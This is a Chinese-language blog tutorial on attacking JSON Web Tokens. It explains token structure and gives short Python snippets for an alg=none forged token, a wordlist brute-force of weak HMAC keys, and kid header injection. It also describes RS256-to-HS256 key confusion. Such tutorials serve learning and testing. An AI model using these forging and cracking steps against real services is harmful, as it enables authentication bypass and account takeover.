针对 JWT 的几种攻击方法

参考文章

JWT(Json Web Token)认证
Json Web Token 2020 攻击指南

前置知识


Json Web Token。是在完成身份验证之后,服务器生成的一个 JSON 对象并将其加密后返回给用户形如 xxxx.xxxxx.xxxxx 的一串字符
之后,客户端与服务器之间的通信便可依靠该字符串来做身份验证,通常 JWT 存放在 cookie 或者其他请求头中。
JWT 由三部分构成,header(头部,示意签名使用的算法)、payload(载荷,存储有效数据)和 signature(签名,校验数据有效性)

  • 头部
    通常由形如如下 json 数据经过 Base64URL 加密算法生成
{
    "alg": "HS256",
    "typ": "JWT"
}

其中,alg 表示后续签名部分使用的加密算法,一般有

alg 代表的算法
HS256 HAMC_HASH-256
HS384 HAMC_HASH-384
HS512 HAMC_HASH-512
RS256 RSASSA_HASH-256
RS384 RSASSA_HASH-384
RS512 RSASSA_HASH-512
ES256 ECDSA_P-256 + HASH-256
ES384 ECDSA_P-384 + HASH-384
ES512 ECDSA_P-512 + HASH-512
none 不使用
typ 表示数据类型

其中 Base64URL 算法:数据经过 Base64 加密后将结果中的=去掉,+-替换,/_替换

  • 载荷
    包含需要传递的数据,通常由形如如下 json 数据经过 Base64URL 加密算法生成:
{
    "iss": "发行人",
    "iat": "发布时间",
    "nbf": "有效时间起点",
    "exp": "到期时间",
    "sub": "主题",
    "aud": "用户",
    "jti": "JWT ID用于标识该JWT",
    "xxxxx": "自定义字段内容"
}
  • 签名
    该部分是对 头部载荷 两部分数据通过头部中指定的算法生成哈希结果,用于保数据不会被篡改,一般未经过 Base64URL 加密,可选
    比如说,头部中 alg 值为 HS256,则生成前面的算法为:
    HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload),密钥)

JWT 与 cookie、session、token 有什么区别可以看这里

可能存在的问题

签名校验问题

  • 后端未对签名 signature 做校验,故可直接篡改载荷 payload 内容,并可一并删除 singature 签名字段来尝试绕过签名校验
  • alg 值置为 none,若服务器支持 none 算法,便可绕过签名校验
import jwt

print(jwt.encode({"xxx":"xxx"}, key="", algorithm="none"))

将生成的 jwt 字符串(可删除结尾的.) 替换原有的字符串测试即可

弱密钥暴力破解

当 alg 值为 HMAC 类对称加密算法时,可以针对密钥进行暴力破解
网上的脚本:

import jwt

jwt_json='jwt 数据'
with open('dict.txt',encoding='utf-8') as f:  # 传入字典
        for line in f:
            key = line.strip()
            try:
                jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256') # 指定对称加密算法
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key)
                break
            except(jwt.exceptions.InvalidSignatureError):
                print('verify key! -->' + key)
                continue
        else:
            print("key not found!")

kid 指定攻击

kid 即为 key ID ,存在于 jwt header 头部中,是一个可选的字段,用来指定加密算法的密钥

{
    "alg": "HS256",
    "typ": "JWT",
    "kid": "xxx"
}

通过在头部注入新的 kid 字段,并指定 HS256 算法的 key 密钥为 xxx,生成新的 jwt 数据

import jwt

jwt.encode({"xxx":"xxx"},key="xxx",algorithm='HS256',headers={"kid":"xxx"})

若服务器并未对 header 头部做限制,那么程序将会按照 header 中指定的密钥进行校验,从而通过签名校验

非对称加密算法转对称加密算法

当 header 头部指定签名算法为 RSA 非对称加密算法时,可以替换为 HMAC 对称加密算法,并且通过获取到的公钥重新做签名
服务器在签名校验时便可能会使用公钥做校验

posted @ 2021-02-02 16:47  1ndex-  阅读(1982)  评论(0编辑  收藏  举报